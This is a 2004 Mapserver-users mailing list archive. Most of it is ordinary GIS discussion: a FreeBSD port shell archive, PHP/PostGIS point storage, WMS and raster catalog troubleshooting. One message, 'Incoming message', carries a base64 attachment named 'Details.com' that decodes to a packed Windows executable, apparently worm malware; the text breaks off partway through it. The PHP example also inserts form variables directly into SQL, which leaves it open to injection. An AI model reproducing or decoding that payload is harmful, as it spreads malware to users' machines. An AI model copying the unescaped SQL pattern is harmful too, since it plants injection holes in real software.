         =    A few weeks back I saw mention of Mapserver being used as a skin within = a VB application.  I was unable to locate any information from the = archives on the subject and thought I’d ask.  I’ve got a stand = alone Windows app (not a web app) and was wanting to add Mapserver as a skin.  If this is even possible I would be grateful if someone could = point me in the right direction.  Thanks  Richie

 

 

 

=00 ------_=_NextPart_001_01C441D5.2209E55D-- From rand at meridian-enviro.com Mon May 24 17:53:49 2004 From: rand at meridian-enviro.com (Douglas K. Rand) Date: Mon, 24 May 2004 19:53:49 -0500 Subject: [Mapserver-users] FreeBSD port Message-ID: <87ekp9z5r6.wl@delta.meridian-enviro.com> --Multipart_Mon_May_24_19:53:49_2004-1 Content-Type: text/plain; charset=US-ASCII I have for quite a while wanted a mapserver entry in the FreeBSD ports collection (http://www.freebsd.org/ports) so that I could install Mapserver really easily on my FreeBSD boxes. Well, since procrastination didn't seem to be doing the trick, I decided to see if doing actual work would help. I'm sorry to report that it seems to have helped. :) I have a specific question about the configuration of mapserver and GD. Assuming that GD was correctly built and that the GD build includes JPEG, PNG, and FreeType (all of which are true if you build GD via the FreeBSD port) is it safe to leave off the --with-jpeg, --with-png, and --with-freetype options to mapserver's configure script? I have done so, and it seems to be working. The issue is that by having the Mapserver port depend on the GD port, GD gets built just fine and includes JPEG, PNG, and FreeType, and I don't want to duplicate those paths in the Mapserver port. Here, for your review and comments, is a FreeBSD port for Mapserver. The knobs for TIFF, MING, PDF, WMS, GDAL, POSTGRESQL, and PHP are largely untested, they are my attempt to make the port complete. We don't use those features of Mapserver. Any and all comments are welcome. I'm heading over to the bike shed now. --Multipart_Mon_May_24_19:53:49_2004-1 Content-Type: application/octet-stream Content-Disposition: attachment; filename="mapserver.shar" Content-Transfer-Encoding: quoted-printable # This is a shell archive. Save it in a file, remove anything before # this line, and then unpack it by entering "sh file". Note, it may # create directories; files and directories will be owned by you and # have default permissions. # # This archive contains: # # mapserver/Makefile # mapserver/distinfo # mapserver/pkg-descr # mapserver/pkg-plist # echo x - mapserver/Makefile sed 's/^X//' >mapserver/Makefile << 'END-of-mapserver/Makefile' X# New ports collection Makefile for: mapserver X# Date created: 2004-05-20 X# Whom: Douglas K. Rand X# X# $FreeBSD$ X# X XPORTNAME=3D mapserver XPORTVERSION=3D 4.0.2 XCATEGORIES=3D graphics www misc XMASTER_SITES=3D http://cvs.gis.umn.edu/dist/ X XMAINTAINER=3D rand at meridian-enviro.com XCOMMENT=3D MapServer is a system for developing web-based GIS applications X XLIB_DEPENDS=3D gd.4:${PORTSDIR}/graphics/gd \ X proj.3:${PORTSDIR}/graphics/proj X XGNU_CONFIGURE=3D yes XCONFIGURE_ARGS=3D --enable-runpath \ X --with-gd=3D${LOCALBASE} \ X --with-proj=3D${LOCALBASE} X# --with-jpeg=3D${LOCALBASE} X# --with-png=3D${LOCALBASE} X# --with-freetype=3D${LOCALBASE} X X.if defined(WITH_TIFF) XLIB_DEPENDS+=3D tiff.4:${PORTSDIR}/graphics/tiff XCONFIGURE_ARGS+=3D --with-tiff=3D${LOCALBASE} X.endif X X.if defined(WITH_MING) XLIB_DEPENDS+=3D ming.3:${PORTSDIR}/graphics/ming XCONFIGURE_ARGS+=3D --with-ming=3D${LOCALBASE} X.endif X X.if defined(WITH_PDF) XLIB_DEPENDS+=3D pdf.6:${PORTSDIR}/graphics/pdflib XCONFIGURE_ARGS+=3D --with-pdf=3D${LOCALBASE} X.endif X X.if defined(WITH_WMS) XLIB_DEPENDS+=3D curl.2:${PORTSDIR}/ftp/curl XCONFIGURE_ARGS+=3D --wmsclient X.endif X X.if defined(WITH_GDAL) XLIB_DEPENDS+=3D gdal.1.1:${PORTSDIR}/graphics/gdal XCONFIGURE_ARGS+=3D --with-gdal=3D${LOCALBASE} X.endif X X.if defined(WITH_POSTGRESQL) XPOSTGRESQL_PORT?=3D databases/postgresql-client XLIB_DEPENDS+=3D pq.3:${PORTSDIR}/${POSTGRESQL_PORT} XCONFIGURE_ARGS+=3D --with-postgis=3D${LOCALBASE}/bin/pg_config X.endif X X.if defined(WITH_PHP) XBUILD_DEPENDS+=3D mod_php4:${PORTSDIR}/www/mod_php4: XCONFIGURE_ARGS+=3D --with-php=3D${LOCALBASE} X.endif X X.if defined(WITH_DEBUG) XCONFIGURE_ARGS+=3D --enable-debug X.endif X XPROG_FILES=3D mapserv legend scalebar shp2img shp2pdf shptree shptreetst = shptreevis sortshp X X.include X Xdo-install: X.for f in ${PROG_FILES} X ${INSTALL_PROGRAM} ${WRKSRC}/${f} ${LOCALBASE}/bin X.endfor X ${INSTALL} ${WRKSRC}/shp2mysql.pl ${LOCALBASE}/bin/shp2mysql X X.include END-of-mapserver/Makefile echo x - mapserver/distinfo sed 's/^X//' >mapserver/distinfo << 'END-of-mapserver/distinfo' XMD5 (mapserver-4.0.2.tar.gz) =3D 757ea220ae04aabc44c739682df3d0e4 XSIZE (mapserver-4.0.2.tar.gz) =3D 868993 END-of-mapserver/distinfo echo x - mapserver/pkg-descr sed 's/^X//' >mapserver/pkg-descr << 'END-of-mapserver/pkg-descr' XMapServer is a system for developing web-based GIS applications.=20 XThe basic system consists of a CGI program that can be configured to=20 Xrespond to a variety of spatial requests like making maps, scalebars,=20 Xand point, area and feature queries. Virtually all aspects of an=20 Xapplication, from web interface to map appearance can be developed=20 Xwithout any programming. For the more ambitious user, MapServer=20 Xapplications can be enhanced using Java, JavaScript or many other web=20 Xtechnologies. X XWWW: http://mapserver.gis.umn.edu/ END-of-mapserver/pkg-descr echo x - mapserver/pkg-plist sed 's/^X//' >mapserver/pkg-plist << 'END-of-mapserver/pkg-plist' Xbin/mapserv Xbin/legend Xbin/scalebar Xbin/shp2img Xbin/shp2mysql Xbin/shp2pdf Xbin/shptree Xbin/shptreetst Xbin/shptreevis Xbin/sortshp END-of-mapserver/pkg-plist exit --Multipart_Mon_May_24_19:53:49_2004-1-- From Antti.Roppola at brs.gov.au Mon May 24 18:54:55 2004 From: Antti.Roppola at brs.gov.au (Antti.Roppola at brs.gov.au) Date: Tue, 25 May 2004 11:54:55 +1000 Subject: [Mapserver-users] Adding Data Message-ID: <3E4215C93D3CE24D84A9FF385DF88D8702A086D8@afeb-ms-02> Storing a single point is easy. Queries already depend on being able to translate a click to map coordinates, you then just use a web form to stuff the point (and any desired attribute data) into a database of your choice. In this case Postgres/PostGIS via PHP: $date = date("Y-m-d"); $sql="INSERT INTO sites (site_id, site_type, date_reported, report_contact, sites_geom) VALUES"; $sql=$sql . " (1, '$site_type', DATE '$date', '$report_contact', GeometryFromText('POINT($x_coord $y_coord)', -1))"; Stringing a bunch together as a polygon (without going back to the server for each vertex) is a bit more involved. You need/want to be able to collect a series of points in the browser and submit them at once, aka some kind of in-browser drawing tool. Shockwave/Flash is the neatest looking solution I have seen in this regard (the apps are reasonably small, perform well and seem to run correctly on most browsers). I have also seen an application that used a proprietary Java Applet (to let farmers digitise their fields). I am sure that there are suitable drawing tools out there that could be used with minimal modification. Cheers, Antti -----Original Message----- From: Eric Bridger [mailto:eric at gomoos.org] Sent: Tuesday, 25 May 2004 6:30 AM To: Eric Katherman Cc: Mapserver List Subject: Re: [Mapserver-users] Adding Data On Mon, 2004-05-24 at 15:17, Eric Katherman wrote: > What would be the best way to "add data" to a mapset... I would like to be > able to click on a given map.. have it store the points I am clicking and > when done connect them as a filled polygon with some other tag data > associated with it... would like to store all of this in MySQL. What is the > best place to start. You will need to use mapscript, vs. CGI mapserver, to accomplish what you describe. So step one would be to chose your favorite flavor: Python, PHP, Perl, etc. and get it installed. Then there are examples for the various flavors in the Mapserver Wiki for translating a map click into a lat/long point, creating lines and polygons as shapes, etc. I'm not sure what the current status of MySQL is regarding storing such geometries. Postgres with PostGIS could store your geometries along with your tag data. HTH. _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From armin.burger at gmx.net Tue May 25 05:20:54 2004 From: armin.burger at gmx.net (Armin Burger) Date: Tue, 25 May 2004 14:20:54 +0200 Subject: [Mapserver-users] WMS server with PHP Mascript Message-ID: <4072C9CC00076900@it-mboxes.jrc.it> (added by postmaster@jrc.it) Hi everybody I'm trying to set up a small WMS server that is based on PHP Mapscript. I need the layers to be created on the fly so I thought this might be an alternative to the CGI WMS built in. I suceeded retrieving an image with a browser or curl e.g. curl -o test.jpg "http://mspc/mswms/?request=GetMap&layers=image2000/gr_mosaic_full_5.ecw&bbox=281158,4096691,382000,4169443&width=600&height=400&srs=epsg:2100&format=image/jpeg" But when I want to test the WMS server and include such a layer in a standard MapServer map file I get errors, e.g. with shp2img: ERROR 4: `d:\www\tmp\10854865609240.img.tmp' not recognised as a supported file format. msDrawMap(): Image handling error. Failed to draw layer named 'image2000/gr_mosaic_full_5.ecw'.
msDrawRaster(): Image handling error. Unrecognized or unsupported image format
drawEPP(): Image handling error. EPPL7 support is not available.
The PHP page to return the image file uses the header function like header("Content-type: image/jpeg"); and the map is drawn with $mapurl = $mapimg->saveImage(""); Does anybody have any ideas what might be wrong? Is there a possibility to see the URL string created by MapServer to download the temporary image or keep the requested image and don't let MapServer delete it? Thanks for any help Armin From steve.lime at dnr.state.mn.us Tue May 25 06:19:24 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Tue, 25 May 2004 08:19:24 -0500 Subject: [Mapserver-users] raster catalogs with 4.2b3 Message-ID: Although there was new functionality added to 4.2to allow for a new way of creating tile indexes in a map file the old method is also completely supported. Can you confirm that you don't have a build problem as detailed in another response to your message? Can others verify a problem? I've not had problems with raster tile setups that I use. Steve >>> 05/24/04 3:56 AM >>> Hi List, i did some tests with php mapscript 4.2b3 and found that my raster catalogs did not work with this mapserver version. The script which works fine with PHP Mapscript 4.0.2. termined with an internal server error (Premature end of script headers) when i use 4.2b3. The type of the Layer is set to MS_LAYER_RASTER. Do i have to use MS_LAYER_TILEINDEX now (how?) or what do i have to change to use raster catalogs with 4.2b3? Many thanks Nicol _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From ARyan at co.linn.or.us Tue May 25 08:03:35 2004 From: ARyan at co.linn.or.us (ARyan) Date: Tue, 25 May 2004 09:03:35 -0600 Subject: [Mapserver-users] Incoming message Message-ID: ----------nsmyibcvvfqooxmtbwgg Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------nsmyibcvvfqooxmtbwgg Content-Type: application/octet-stream; name="Details.com" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Details.com" 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 